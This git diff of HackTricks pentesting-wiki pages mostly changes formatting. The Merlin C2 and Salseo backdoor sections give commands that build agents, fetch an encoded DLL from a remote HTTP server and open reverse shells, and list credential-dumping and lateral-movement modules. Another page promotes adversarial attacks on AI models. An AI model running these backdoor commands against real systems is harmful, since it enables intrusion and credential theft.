Maybe some challenges could need the **combination** of "**standard**" **cybersecurity** techniques with **machine** **learning** adversarial attacks ;\) +Since A.I. applications are relatively new, there is also the possibility that the **harder difficulty challenges for the labs don't have some public known ways of exploitation**, so it's up to you to find the correct solution. Maybe some challenges could need the **combination** of "**standard**" **cybersecurity** techniques with **machine** **learning** adversarial attacks ;) The platform, which is now in **beta** version, will also feature in the next future **paid** competitions, **job** **offers** posting, **ranking** system, **tutorials** on several A.I. exploit topics, the possibility to **earn** **money** by **proposing** personal **labs** or different challenges, for an already existent A.I. lab applications, to be used by the community and also propose modification already existent challenges in order to augment their robustness vs. the various attacks. All the **material and the techs for the exploitation of A.I. will be posted here** in a dedicated section of hacktricks. -**While** we are in **beta** version and completing the implementation of all the above described features, the subscription and all the already posted labs with their relative **challenges are free**. -**So start learning how to exploit A.I. for free while you can in** [**BrA.I.Smasher Website**](https://beta.brainsmasher.eu/) -****ENJOY ;\) +**While** we are in **beta** version and completing the implementation of all the above described features, the subscription and all the already posted labs with their relative **challenges are free**.\ +**So start learning how to exploit A.I. for free while you can in **[**BrA.I.Smasher Website**](https://beta.brainsmasher.eu)****\ +****ENJOY ;) -_A big thanks to Hacktricks and Carlos Polop for giving us this opportunity_ +_A big thanks to Hacktricks and Carlos Polop for giving us this opportunity _ > _Walter Miele from BrA.I.nsmasher_ ## Registry Challenge -In order to register in [**BrA.I.Smasher** ](https://beta.brainsmasher.eu/)you need to solve an easy challenge \([**here**](https://beta.brainsmasher.eu/registrationChallenge)\). +In order to register in [**BrA.I.Smasher **](https://beta.brainsmasher.eu)you need to solve an easy challenge ([**here**](https://beta.brainsmasher.eu/registrationChallenge)).\ Just think how you can confuse a neuronal network while not confusing the other one knowing that one detects better the panda while the other one is worse... {% hint style="info" %} However, if at some point you **don't know how to solve** the challenge, or **even if you solve it**, check out the official solution in [**google colab**](https://colab.research.google.com/drive/1MR8i_ATm3bn3CEqwaEnRwF0eR25yKcjn?usp=sharing). {% endhint %} -I have to tell you that there are **easier ways** to pass the challenge, but this **solution** is **awesome** as you will learn how to pass the challenge performing an **Adversarial Image performing a Fast Gradient Signed Method \(FGSM\) attack for images.** +I have to tell you that there are **easier ways** to pass the challenge, but this **solution** is **awesome** as you will learn how to pass the challenge performing an **Adversarial Image performing a Fast Gradient Signed Method (FGSM) attack for images.** ## More Tutorials -{% page-ref page="basic-captcha-breaker.md" %} - +{% content-ref url="basic-captcha-breaker.md" %} +[basic-captcha-breaker.md](basic-captcha-breaker.md) +{% endcontent-ref %} diff --git a/a.i.-exploiting/bra.i.nsmasher-presentation/basic-bruteforcer.md b/a.i.-exploiting/bra.i.nsmasher-presentation/basic-bruteforcer.md index fb926911..c6e66a06 100644 --- a/a.i.-exploiting/bra.i.nsmasher-presentation/basic-bruteforcer.md +++ b/a.i.-exploiting/bra.i.nsmasher-presentation/basic-bruteforcer.md @@ -2,14 +2,13 @@ ## BRUTEFORCER IMAGE CORRUPTION SCRIPT -The purpose here is to introduce the user to some basic concepts about **A.I. apps exploiting**, via some easy to follow scripts, which represents the core for writing useful tools.<br> -In this example \(which can be used to solve the easy labs of BrainSmasher\) by recalling also what is written in the solution for the introduction challenge, we will provide a simple yet useful way, in order to iteratively produce some corrupted images, to bruteforce the face recon easy labs \(and thus also real applications that relies on the same principles\) +The purpose here is to introduce the user to some basic concepts about **A.I. apps exploiting**, via some easy to follow scripts, which represents the core for writing useful tools.\
\ +In this example (which can be used to solve the easy labs of BrainSmasher) by recalling also what is written in the solution for the introduction challenge, we will provide a simple yet useful way, in order to iteratively produce some corrupted images, to bruteforce the face recon easy labs (and thus also real applications that relies on the same principles) -Of course we will not provide the full code but only the core part for the exploiting of the model, **instead some exercises will be left to the user \(the pentesting part\)**, in order to complete the tool. We will provides also some hints, just to give an idea of what can be done. +Of course we will not provide the full code but only the core part for the exploiting of the model,** instead some exercises will be left to the user (the pentesting part)**, in order to complete the tool. We will provides also some hints, just to give an idea of what can be done. The script can be found at [**IMAGE BRUTEFORCER**](https://colab.research.google.com/drive/1kUiWGRKr4vhqjI9Xgaqw3D5z3SeTXKmV) -Try it on our labs [**BrA.I.Smasher Website**](https://beta.brainsmasher.eu/) +Try it on our labs [**BrA.I.Smasher Website**](https://beta.brainsmasher.eu) Enjoy and stay safe! - diff --git a/about-the-author.md b/about-the-author.md index 0ad8f853..e1c7918a 100644 --- a/about-the-author.md +++ b/about-the-author.md @@ -2,9 +2,9 @@ ### Hello!! -This is **Carlos Polop**. +This is** Carlos Polop**. -First of all, I want to indicate that **I don't own this entire book**, a lot of **information was copy/pasted from other websites and that content belongs to them** \(this is indicated on the pages\). +First of all, I want to indicate that **I don't own this entire book**, a lot of** information was copy/pasted from other websites and that content belongs to them** (this is indicated on the pages). I also wants to say **thanks to all the people that share cyber-security related information for free** on the Internet. Thanks to them I learn new hacking techniques that then I add to Hacktricks. @@ -13,19 +13,18 @@ I also wants to say **thanks to all the people that share cyber-security related If for some weird reason you are interested in knowing about my bio here you have a summary: * I've worked in different companies as sysadmin, developer and **pentester**. -* I'm a **Telecommunications Engineer** with a **Masters** in **Cybersecurity** -* Relevant certifications: **OSCP, OSWE**, **CRTP, eMAPT, eWPTXv2** and Professional Drone pilot. -* I speak **Spanish** and **English** and little of French \(some day I will improve that\). +* I'm a **Telecommunications Engineer** with a **Masters **in **Cybersecurity** +* Relevant certifications: **OSCP, OSWE**, **CRTP, eMAPT, eWPTXv2 **and Professional Drone pilot. +* I speak **Spanish **and **English **and little of French (some day I will improve that). * I'm a **CTF player** -* I'm very proud of this **book** and my **PEASS** \(I'm talking about these peass: [https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)\) +* I'm very proud of this **book **and my **PEASS **(I'm talking about these peass: [https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)) * And I really enjoy researching, playing CTFs, pentesting and everything related to **hacking**. ### Support HackTricks Thank you for be **reading this**! -Do you use **Hacktricks every day**? Did you find the book **very** **useful**? Would you like to **receive extra help** with cybersecurity questions? Would you like to **find more and higher quality content on Hacktricks**? [**Support Hacktricks through github sponsors**](https://github.com/sponsors/carlospolop) **so we can dedicate more time to it and also get access to the Hacktricks private group where you will get the help you need and much more!** - -If you want to know about my **latest modifications**/**additions** or you have **any suggestion for HackTricks** or **PEASS**, **join the** [**💬**](https://emojipedia.org/speech-balloon/)[**telegram group**](https://t.me/peass), or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** -If you want to **share some tricks with the community** you can also submit **pull requests** to [**https://github.com/carlospolop/hacktricks**](https://github.com/carlospolop/hacktricks) that will be reflected in this book and don't forget to **give ⭐** on **github** to **motivate** **me** to continue developing this book. +Do you use **Hacktricks every day**? Did you find the book **very** **useful**? Would you like to **receive extra help** with cybersecurity questions? Would you like to **find more and higher quality content on Hacktricks**? [**Support Hacktricks through github sponsors**](https://github.com/sponsors/carlospolop)** so we can dedicate more time to it and also get access to the Hacktricks private group where you will get the help you need and much more!** +If you want to know about my **latest modifications**/**additions** or you have **any suggestion for HackTricks **or** PEASS**, **join the** [**💬**](https://emojipedia.org/speech-balloon/)[**telegram group**](https://t.me/peass), or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**\ +If you want to **share some tricks with the community** you can also submit **pull requests** to [**https://github.com/carlospolop/hacktricks**](https://github.com/carlospolop/hacktricks) that will be reflected in this book and don't forget to** give ⭐** on **github** to **motivate** **me** to continue developing this book. diff --git a/android-forensics.md b/android-forensics.md index fe4bf492..48a922d2 100644 --- a/android-forensics.md +++ b/android-forensics.md @@ -14,11 +14,10 @@ Create an [android backup using adb](mobile-apps-pentesting/android-app-pentesti ### If root access or physical connection to JTAG interface -* `cat /proc/partitions` \(search the path to the flash memory, generally the first entry is _mmcblk0_ and corresponds to the whole flash memory\). -* `df /data` \(Discover the block size of the system\). -* dd if=/dev/block/mmcblk0 of=/sdcard/blk0.img bs=4096 \(execute it with the information gathered from the block size\). +* `cat /proc/partitions` (search the path to the flash memory, generally the first entry is _mmcblk0 _and corresponds to the whole flash memory). +* `df /data` (Discover the block size of the system). +* dd if=/dev/block/mmcblk0 of=/sdcard/blk0.img bs=4096 (execute it with the information gathered from the block size). ### Memory -Use Linux Memory Extractor \(LiME\) to extract the RAM information. It's a kernel extension that should be loaded via adb. - +Use Linux Memory Extractor (LiME) to extract the RAM information. It's a kernel extension that should be loaded via adb. diff --git a/backdoors/merlin.md b/backdoors/merlin.md index 4faa9e88..6808ead7 100644 --- a/backdoors/merlin.md +++ b/backdoors/merlin.md @@ -1,5 +1,5 @@ --- -description: 'https://github.com/Ne0nd0g/merlin' +description: https://github.com/Ne0nd0g/merlin --- # Merlin @@ -8,7 +8,7 @@ description: 'https://github.com/Ne0nd0g/merlin' ### Install GO -```text +``` #Download GO package from: https://golang.org/dl/ #Decompress the packe using: tar -C /usr/local -xzf go$VERSION.$OS-$ARCH.tar.gz @@ -23,14 +23,14 @@ source /etc/profile ### Install Merlin -```text +``` go get https://github.com/Ne0nd0g/merlin/tree/dev #It is recommended to use the developer branch cd $GOPATH/src/github.com/Ne0nd0g/merlin/ ``` ## Launch Merlin Server -```text +``` go run cmd/merlinserver/main.go -i ``` @@ -42,7 +42,7 @@ You can [download precompiled agents](https://github.com/Ne0nd0g/merlin/releases Go to the main folder _$GOPATH/src/github.com/Ne0nd0g/merlin/_ -```text +``` #User URL param to set the listener URL make #Server and Agents of all make windows #Server and Agents for Windows @@ -51,45 +51,44 @@ make windows-agent URL=https://malware.domain.com:443/ #Agent for windows (arm, ### **Manual compile agents** -```text +``` GOOS=windows GOARCH=amd64 go build -ldflags "-X main.url=https://10.2.0.5:443" -o agent.exe main.g ``` ## Modules -**The bad news is that every module used by Merlin is downloaded from the source \(github\) and saved indisk before using it. Forge about usingwell known modules because Windows Defender will catch you!** +**The bad news is that every module used by Merlin is downloaded from the source (github) and saved indisk before using it. Forge about usingwell known modules because Windows Defender will catch you!**\ -**SafetyKatz** --> Modified Mimikatz. Dump LSASS to file and launch:sekurlsa::logonpasswords to that file -**SharpDump** --> minidump for the process ID specified \(LSASS by default\) \(Itsais that the extension of the final file is .gz but indeed it is.bin, but is agz file\) -**SharpRoast** -->Kerberoast \(doesn't work\) -**SeatBelt** --> Local Security Tests in CS \(does not work\) https://github.com/GhostPack/Seatbelt/blob/master/Seatbelt/Program.cs -**Compiler-CSharp** --> Compile using csc.exe /unsafe -**Sharp-Up** -->Allchecks in C\# in powerup \(works\) -**Inveigh** --> PowerShellADIDNS/LLMNR/mDNS/NBNS spoofer and man-in-the-middle tool \(doesn't works, need to load: https://raw.githubusercontent.com/Kevin-Robertson/Inveigh/master/Inveigh.ps1\) -**Invoke-InternalMonologue** --> impersonates all available users and retrieves a challenge-response for each \(NTLM hash for each user\) \(bad url\) -**Invoke-PowerThIEf** --> Steal forms from IExplorer or make it execute JS or inject a DLL in that process \(doesnt work\) \(and the PS looks like doesnt work either\) https://github.com/nettitude/Invoke-PowerThIEf/blob/master/Invoke-PowerThIEf.ps1 -**LaZagneForensic** --> Get browser passwords \(works but dont prints the output directory\) -**dumpCredStore** --> Win32 Credential Manager API \(https://github.com/zetlen/clortho/blob/master/CredMan.ps1\) https://www.digitalcitizen.life/credential-manager-where-windows-stores-passwords-other-login-details -**Get-InjectedThread** --> Detect classic injection in running processes \(Classic Injection \(OpenProcess, VirtualAllocEx, WriteProcessMemory, CreateRemoteThread\)\) \(doesnt works\) -**Get-OSTokenInformation** --> Get Token Info of the running processes and threads \(User, groups, privileges, owner… https://docs.microsoft.com/es-es/windows/desktop/api/winnt/ne-winnt-\_token\_information\_class\) -**Invoke-DCOM** --> Execute a command \(inother computer\) via DCOM \(http://www.enigma0x3.net.\) \(https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/\) -**Invoke-DCOMPowerPointPivot** --> Execute a command in othe PC abusing PowerPoint COM objects \(ADDin\) -**Invoke-ExcelMacroPivot** --> Execute a command in othe PC abusing DCOM in Excel -**Find-ComputersWithRemoteAccessPolicies** --> \(not working\) \(https://labs.mwrinfosecurity.com/blog/enumerating-remote-access-policies-through-gpo/\) -**Grouper** --> It dumps all the most interesting parts of group policy and then roots around in them for exploitable stuff. \(deprecated\) Take a look at Grouper2, looks really nice -**Invoke-WMILM** --> WMI to move laterally -**Get-GPPPassword** --> Look for groups.xml, scheduledtasks.xml, services.xmland datasources.xml and returns plaintext passwords \(insidedomain\) -**Invoke-Mimikatz** --> Use mimikatz \(default dump creds\) -**PowerUp** --> https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc -**Find-BadPrivilege** --> Check the privileges of users in computers -**Find-PotentiallyCrackableAccounts** --> retrieve information about user accounts associated with SPN \(Kerberoasting\) -**psgetsystem** --> getsystem +**SafetyKatz** --> Modified Mimikatz. Dump LSASS to file and launch:sekurlsa::logonpasswords to that file\ +**SharpDump** --> minidump for the process ID specified (LSASS by default) (Itsais that the extension of the final file is .gz but indeed it is.bin, but is agz file)\ +**SharpRoast** -->Kerberoast (doesn't work)\ +**SeatBelt** --> Local Security Tests in CS (does not work) https://github.com/GhostPack/Seatbelt/blob/master/Seatbelt/Program.cs\ +**Compiler-CSharp** --> Compile using csc.exe /unsafe\ +**Sharp-Up** -->Allchecks in C# in powerup (works)\ +**Inveigh** --> PowerShellADIDNS/LLMNR/mDNS/NBNS spoofer and man-in-the-middle tool (doesn't works, need to load: https://raw.githubusercontent.com/Kevin-Robertson/Inveigh/master/Inveigh.ps1)\ +**Invoke-InternalMonologue** --> impersonates all available users and retrieves a challenge-response for each (NTLM hash for each user) (bad url)\ +**Invoke-PowerThIEf** --> Steal forms from IExplorer or make it execute JS or inject a DLL in that process (doesnt work) (and the PS looks like doesnt work either) https://github.com/nettitude/Invoke-PowerThIEf/blob/master/Invoke-PowerThIEf.ps1\ +**LaZagneForensic** --> Get browser passwords (works but dont prints the output directory)\ +**dumpCredStore** --> Win32 Credential Manager API (https://github.com/zetlen/clortho/blob/master/CredMan.ps1) https://www.digitalcitizen.life/credential-manager-where-windows-stores-passwords-other-login-details\ +**Get-InjectedThread** --> Detect classic injection in running processes (Classic Injection (OpenProcess, VirtualAllocEx, WriteProcessMemory, CreateRemoteThread)) (doesnt works)\ +**Get-OSTokenInformation** --> Get Token Info of the running processes and threads (User, groups, privileges, owner… https://docs.microsoft.com/es-es/windows/desktop/api/winnt/ne-winnt-\_token_information_class)\ +**Invoke-DCOM** --> Execute a command (inother computer) via DCOM (http://www.enigma0x3.net.) (https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/)\ +**Invoke-DCOMPowerPointPivot** --> Execute a command in othe PC abusing PowerPoint COM objects (ADDin)\ +**Invoke-ExcelMacroPivot** --> Execute a command in othe PC abusing DCOM in Excel\ +**Find-ComputersWithRemoteAccessPolicies** --> (not working) (https://labs.mwrinfosecurity.com/blog/enumerating-remote-access-policies-through-gpo/)\ +**Grouper** --> It dumps all the most interesting parts of group policy and then roots around in them for exploitable stuff. (deprecated) Take a look at Grouper2, looks really nice\ +**Invoke-WMILM** --> WMI to move laterally\ +**Get-GPPPassword** --> Look for groups.xml, scheduledtasks.xml, services.xmland datasources.xml and returns plaintext passwords (insidedomain)\ +**Invoke-Mimikatz** --> Use mimikatz (default dump creds)\ +**PowerUp** --> https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc\ +**Find-BadPrivilege** --> Check the privileges of users in computers\ +**Find-PotentiallyCrackableAccounts** --> retrieve information about user accounts associated with SPN (Kerberoasting)\ +**psgetsystem** --> getsystem **Didn't check persistence modules** ## Resume -I really like the feeling and the potential of the tool. +I really like the feeling and the potential of the tool.\ I hope the tool will start downloading the modules from the server and integrates some kind of evasion when downloading scripts. - diff --git a/backdoors/salseo.md b/backdoors/salseo.md index 9978025e..6bad142b 100644 --- a/backdoors/salseo.md +++ b/backdoors/salseo.md @@ -1,5 +1,5 @@ --- -description: 'https://github.com/Hackplayers/Salsa-tools' +description: https://github.com/Hackplayers/Salsa-tools --- # Salseo @@ -8,32 +8,32 @@ description: 'https://github.com/Hackplayers/Salsa-tools' Download the source code from the github and compile **EvilSalsa** and **SalseoLoader**. You will need **Visual Studio** installed to compile the code. -Compile those projects for the architecture of the windows box where your are going to use them\(If the Windows supports x64 compile them for that architectures\). +Compile those projects for the architecture of the windows box where your are going to use them(If the Windows supports x64 compile them for that architectures). You can **select the architecture** inside Visual Studio in the **left "Build" Tab** in **"Platform Target".** -**\(**If you can't find this options press in **"Project Tab"** and then in **"<Project Name> Properties"**\) +**(**If you can't find this options press in **"Project Tab" **and then in **"\ Properties"**) -![](../.gitbook/assets/image%20%28154%29.png) +![](../.gitbook/assets/image.png) -Then, build both projects \(Build -> Build Solution\) \(Inside the logs will appear the path of the executable\): +Then, build both projects (Build -> Build Solution) (Inside the logs will appear the path of the executable): -![](../.gitbook/assets/image%20%28233%29.png) +![](<../.gitbook/assets/image (1).png>) ## Prepare the Backdoor -First of all, you will need to encode the **EvilSalsa.dll.** To do so, you can use the python script **encrypterassembly.py** or you can compile the project **EncrypterAssembly** +First of all, you will need to encode the **EvilSalsa.dll. **To do so, you can use the python script **encrypterassembly.py** or you can compile the project **EncrypterAssembly** ### **Python** -```text +``` python EncrypterAssembly/encrypterassembly.py python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt ``` ### Windows -```text +``` EncrypterAssembly.exe EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt ``` @@ -44,29 +44,29 @@ Ok, now you have everything you need to execute all the Salseo thing: the **enco ## **Execute the backdoor** -### **Getting a TCP reverse shell \(downloading encoded dll through HTTP\)** +### **Getting a TCP reverse shell (downloading encoded dll through HTTP)** Remember to start a nc as the reverse shell listener, and a HTTP server to serve the encoded evilsalsa. -```text +``` SalseoLoader.exe password http:///evilsalsa.dll.txt reversetcp ``` -### **Getting a UDP reverse shell \(downloading encoded dll through SMB\)** +### **Getting a UDP reverse shell (downloading encoded dll through SMB)** -Remember to start a nc as the reverse shell listener, and a SMB server to serve the encoded evilsalsa \(impacket-smbserver\). +Remember to start a nc as the reverse shell listener, and a SMB server to serve the encoded evilsalsa (impacket-smbserver). -```text +``` SalseoLoader.exe password \\/folder/evilsalsa.dll.txt reverseudp ``` -### **Getting a ICMP reverse shell \(encoded dll already inside the victim\)** +### **Getting a ICMP reverse shell (encoded dll already inside the victim)** -**This time you need a special tool in the client to receive the reverse shell. Download:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)\*\*\*\* +**This time you need a special tool in the client to receive the reverse shell. Download: **[**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)**** #### **Disable ICMP Replies:** -```text +``` sysctl -w net.ipv4.icmp_echo_ignore_all=1 #You finish, you can enable it again running: @@ -75,13 +75,13 @@ sysctl -w net.ipv4.icmp_echo_ignore_all=0 #### Execute the client: -```text +``` python icmpsh_m.py "" "" ``` #### Inside the victim, lets execute the salseo thing: -```text +``` SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp ``` @@ -89,55 +89,55 @@ SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp Open the SalseoLoader project using Visual Studio. -### Add before the main function: \[DllExport\] +### Add before the main function: \[DllExport] -![](../.gitbook/assets/image%20%2888%29.png) +![](<../.gitbook/assets/image (2).png>) ### Install DllExport for this project -#### **Tools** --> **NuGet Package Manager** --> **Manage NuGet Packages for Solution...** +#### **Tools** --> **NuGet Package Manager **--> **Manage NuGet Packages for Solution...** -![](../.gitbook/assets/image%20%2855%29.png) +![](<../.gitbook/assets/image (3).png>) -#### **Search for DllExport package \(using Browse tab\), and press Install \(and accept the popup\)** +#### **Search for DllExport package (using Browse tab), and press Install (and accept the popup)** -![](../.gitbook/assets/image%20%28240%29.png) +![](<../.gitbook/assets/image (4).png>) -In your project folder have appeared the files: **DllExport.bat** and **DllExport\_Configure.bat** +In your project folder have appeared the files: **DllExport.bat** and **DllExport_Configure.bat** ### **U**ninstall DllExport -Press **Uninstall** \(yeah, its weird but trust me, it is necessary\) +Press **Uninstall **(yeah, its weird but trust me, it is necessary) -![](../.gitbook/assets/image%20%28104%29.png) +![](<../.gitbook/assets/image (5).png>) -### **Exit Visual Studio and execute DllExport\_configure** +### **Exit Visual Studio and execute DllExport_configure** Just **exit** Visual Studio -Then, go to your **SalseoLoader folder** and **execute DllExport\_Configure.bat** +Then, go to your **SalseoLoader folder **and **execute DllExport_Configure.bat** -Select **x64** \(if you are going to use it inside a x64 box, that was my case\), select **System.Runtime.InteropServices** \(inside **Namespace for DllExport**\) and press **Apply** +Select **x64** (if you are going to use it inside a x64 box, that was my case), select **System.Runtime.InteropServices **(inside **Namespace for DllExport**) and press **Apply** -![](../.gitbook/assets/image%20%28236%29.png) +![](<../.gitbook/assets/image (7).png>) ### **Open the project again with visual Studio** -**\[DllExport\]** should not be longer marked as error +**\[DllExport] **should not be longer marked as error -![](../.gitbook/assets/image%20%28249%29.png) +![](<../.gitbook/assets/image (8).png>) ### Build the solution -Select **Output Type = Class Library** \(Project --> SalseoLoader Properties --> Application --> Output type = Class Library\) +Select **Output Type = Class Library** (Project --> SalseoLoader Properties --> Application --> Output type = Class Library) -![](../.gitbook/assets/image%20%28226%29.png) +![](<../.gitbook/assets/image (10).png>) -Select **x64** **platform** \(Project --> SalseoLoader Properties --> Build --> Platform target = x64\) +Select **x64** **platform** (Project --> SalseoLoader Properties --> Build --> Platform target = x64) -![](../.gitbook/assets/image%20%28137%29.png) +![](<../.gitbook/assets/image (9).png>) -To **build** the solution: Build --> Build Solution \(Inside the Output console the path of the new DLL will appear\) +To **build** the solution: Build --> Build Solution (Inside the Output console the path of the new DLL will appear) ### Test the generated Dll @@ -145,7 +145,7 @@ Copy and paste the Dll where you want to test it. Execute: -```text +``` rundll32.exe SalseoLoader.dll,main ``` @@ -157,7 +157,7 @@ Don't forget to use a **HTTP** **server** and set a **nc** **listener** ### Powershell -```text +``` $env:pass="password" $env:payload="http://10.2.0.5/evilsalsax64.dll.txt" $env:lhost="10.2.0.5" @@ -168,7 +168,7 @@ rundll32.exe SalseoLoader.dll,main ### CMD -```text +``` set pass=password set payload=http://10.2.0.5/evilsalsax64.dll.txt set lhost=10.2.0.5 @@ -176,4 +176,3 @@ set lport=1337 set shell=reversetcp rundll32.exe SalseoLoader.dll,main ``` - diff --git a/blockchain/blockchain-and-crypto-currencies.md b/blockchain/blockchain-and-crypto-currencies.md index e6e9d85a..b4281992 100644 --- a/blockchain/blockchain-and-crypto-currencies.md +++ b/blockchain/blockchain-and-crypto-currencies.md @@ -2,11 +2,11 @@ ## Basic Terminology -* **Smart contract**: Smart contracts are simply **programs stored on a blockchain that run when predetermined conditions are met**. They typically are used to automate the **execution** of an **agreement** so that all participants can be immediately certain of the outcome, without any intermediary’s involvement or time loss. \(From [here](https://www.ibm.com/topics/smart-contracts)\). - * Basically, a smart contract is a **piece of code** that is going to be executed when people access and accept the contract. Smart contracts **run in blockchains** \(so the results are stored inmutable\) and can be read by the people before accepting them. -* **dApps**: **Decentralised applications** are implemented on top of **smart** **contracts**. They usually have a front-end where the user can interact with the app, the **back-end** is public \(so it can be audited\) and is implemented as a **smart contract**. Sometimes the use of a database is needed, Ethereum blockchain allocates certain storage to each account. -* **Tokens & coins**: A **coin** is a cryptocurrency that act as **digital** **money** and a **token** is something that **represents** some **value** but it's not a coin. - * **Utility Tokens**: These tokens allow the user to **access certain service later** \(it's something that have some value in a specific environment\). +* **Smart contract**: Smart contracts are simply **programs stored on a blockchain that run when predetermined conditions are met**. They typically are used to automate the **execution** of an **agreement** so that all participants can be immediately certain of the outcome, without any intermediary’s involvement or time loss. (From [here](https://www.ibm.com/topics/smart-contracts)). + * Basically, a smart contract is a **piece of code** that is going to be executed when people access and accept the contract. Smart contracts **run in blockchains** (so the results are stored inmutable) and can be read by the people before accepting them. +* **dApps**: **Decentralised applications** are implemented on top of **smart** **contracts**. They usually have a front-end where the user can interact with the app, the **back-end** is public (so it can be audited) and is implemented as a **smart contract**. Sometimes the use of a database is needed, Ethereum blockchain allocates certain storage to each account. +* **Tokens & coins**: A **coin** is a cryptocurrency that act as **digital** **money** and a **token** is something that **represents **some **value** but it's not a coin. + * **Utility Tokens**: These tokens allow the user to** access certain service later** (it's something that have some value in a specific environment). * **Security Tokens**: These represents the **ownership** or some asset. * **DeFi**: **Decentralized Finance**. * **DEX: Decentralized Exchange Platforms**. @@ -14,31 +14,31 @@ ## Consensus Mechanisms -For a blockchain transaction to be recognized, it must be **appended** to the **blockchain**. Validators \(miners\) carry out this appending; in most protocols, they **receive a reward** for doing so. For the blockchain to remain secure, it must have a mechanism to **prevent a malicious user or group from taking over a majority of validation**. +For a blockchain transaction to be recognized, it must be **appended** to the **blockchain**. Validators (miners) carry out this appending; in most protocols, they **receive a reward** for doing so. For the blockchain to remain secure, it must have a mechanism to **prevent a malicious user or group from taking over a majority of validation**. Proof of work, another commonly used consensus mechanism, uses a validation of computational prowess to verify transactions, requiring a potential attacker to acquire a large fraction of the computational power of the validator network. -### Proof Of Work \(PoW\) +### Proof Of Work (PoW) -This uses a **validation of computational prowess** to verify transactions, requiring a potential attacker to acquire a large fraction of the computational power of the validator network. +This uses a **validation of computational prowess** to verify transactions, requiring a potential attacker to acquire a large fraction of the computational power of the validator network.\ The **miners** will **select several transactions** and then start **computing the Proof Of Work**. The **miner with the greatest computation resources** is more probably to **finish** **earlier** the Proof of Work and get the fees of all the transactions. -### Proof Of Stake \(PoS\) +### Proof Of Stake (PoS) -PoS accomplishes this by **requiring that validators have some quantity of blockchain tokens**, requiring **potential attackers to acquire a large fraction of the tokens** on the blockchain to mount an attack. -In this kind of consensus, the more tokens a miner has, the more probably it will be that the miner will be asked to create the next block. -Compared with PoW, this greatly **reduced the energy consumption** the miners are expending. +PoS accomplishes this by **requiring that validators have some quantity of blockchain tokens**, requiring **potential attackers to acquire a large fraction of the tokens **on the blockchain to mount an attack.\ +In this kind of consensus, the more tokens a miner has, the more probably it will be that the miner will be asked to create the next block.\ +Compared with PoW, this greatly **reduced the energy consumption **the miners are expending. ## Bitcoin ### Transactions -A simple **transaction** is a **movement of money** from an address to another one. -An **address** in bitcoin is the hash of the **public** **key**, therefore, someone in order to make a transaction from an address he needs to know the private key associated to that public key \(the address\). +A simple **transaction** is a **movement of money** from an address to another one.\ +An **address** in bitcoin is the hash of the **public** **key**, therefore, someone in order to make a transaction from an address he needs to know the private key associated to that public key (the address).\ Then, when a **transaction** is performed, it's **signed** with the private key of the address to show that the transaction is **legit**. -The first part of producing a digital signature in Bitcoin can be represented mathematically in the following way: -_**Sig**_ = _**Fsig**_\(_**Fhash**_\(_**m**_\),_**dA**_\) +The first part of producing a digital signature in Bitcoin can be represented mathematically in the following way:\ +_**Sig**_ = _**Fsig**_(_**Fhash**_(_**m**_),_**dA**_) Where: @@ -48,17 +48,17 @@ Where: * Fsig is the signing algorithm * Sig is the resulting signature -The signing function \(Fsig\) produces a signature \(Sig\) that comprises of two values: R and S: +The signing function (Fsig) produces a signature (Sig) that comprises of two values: R and S: -* Sig = \(R, S\) +* Sig = (R, S) -Once R and S have been calculated, they are serialized into a byte stream that is encoded using an international standard encoding scheme that is known as the Distinguished Encoding Rules \(or DER\). In order to verify that the signature is valid, a signature verification algorithm is used. Verification of a digital signature requires the following: +Once R and S have been calculated, they are serialized into a byte stream that is encoded using an international standard encoding scheme that is known as the Distinguished Encoding Rules (or DER). In order to verify that the signature is valid, a signature verification algorithm is used. Verification of a digital signature requires the following: -* Signature \(R and S\) +* Signature (R and S) * Transaction hash * The public key that corresponds to the private key that was used to create the signature -Verification of a signature effectively means that only the owner of the private key \(that generated the public key\) could have produced the signature on the transaction. The signature verification algorithm will return ‘TRUE’ if the signature is indeed valid. +Verification of a signature effectively means that only the owner of the private key (that generated the public key) could have produced the signature on the transaction. The signature verification algorithm will return ‘TRUE’ if the signature is indeed valid. #### Multisignature Transactions @@ -70,23 +70,23 @@ Each bitcoin transaction has several fields: * **Inputs**: The amount and address **from** where **bitcoins** are **being** transferred * **Outputs**: The address and amounts that each **transferred** to **each** **output** -* **Fee:** The amount of **money** that is **payed** to the **miner** of the transaction -* **Script\_sig**: Script signature of the transaction -* **Script\_type**: Type of transaction +* **Fee: **The amount of **money** that is **payed** to the **miner** of the transaction +* **Script_sig**: Script signature of the transaction +* **Script_type**: Type of transaction There are **2 main types** of transactions: -* **P2PKH: "Pay To Public Key Hash"**: This is how transactions are made. You are requiring the **sender** to supply a valid **signature** \(from the private key\) and **public** **key**. The transaction output script will use the signature and public key and through some cryptographic functions will check **if it matches** with the public key hash, if it does, then the **funds** will be **spendable**. This method conceals your public key in the form of a hash for extra security. -* **P2SH: "Pay To Script Hash":** The outputs of a transaction are just **scripts** \(this means the person how want this money send a script\) that, if are **executed with specific parameters, will result in a boolean of `true` or `false`**. If a miner runs the output script with the supplied parameters and results in `true`, the **money will be sent to your desired output**. `P2SH` is used for **multi-signature** wallets making the output scripts **logic that checks for multiple signatures before accepting the transaction**. `P2SH` can also be used to allow anyone, or no one, to spend the funds. If the output script of a P2SH transaction is just `1` for true, then attempting to spend the output without supplying parameters will just result in `1` making the money spendable by anyone who tries. This also applies to scripts that return `0`, making the output spendable by no one. 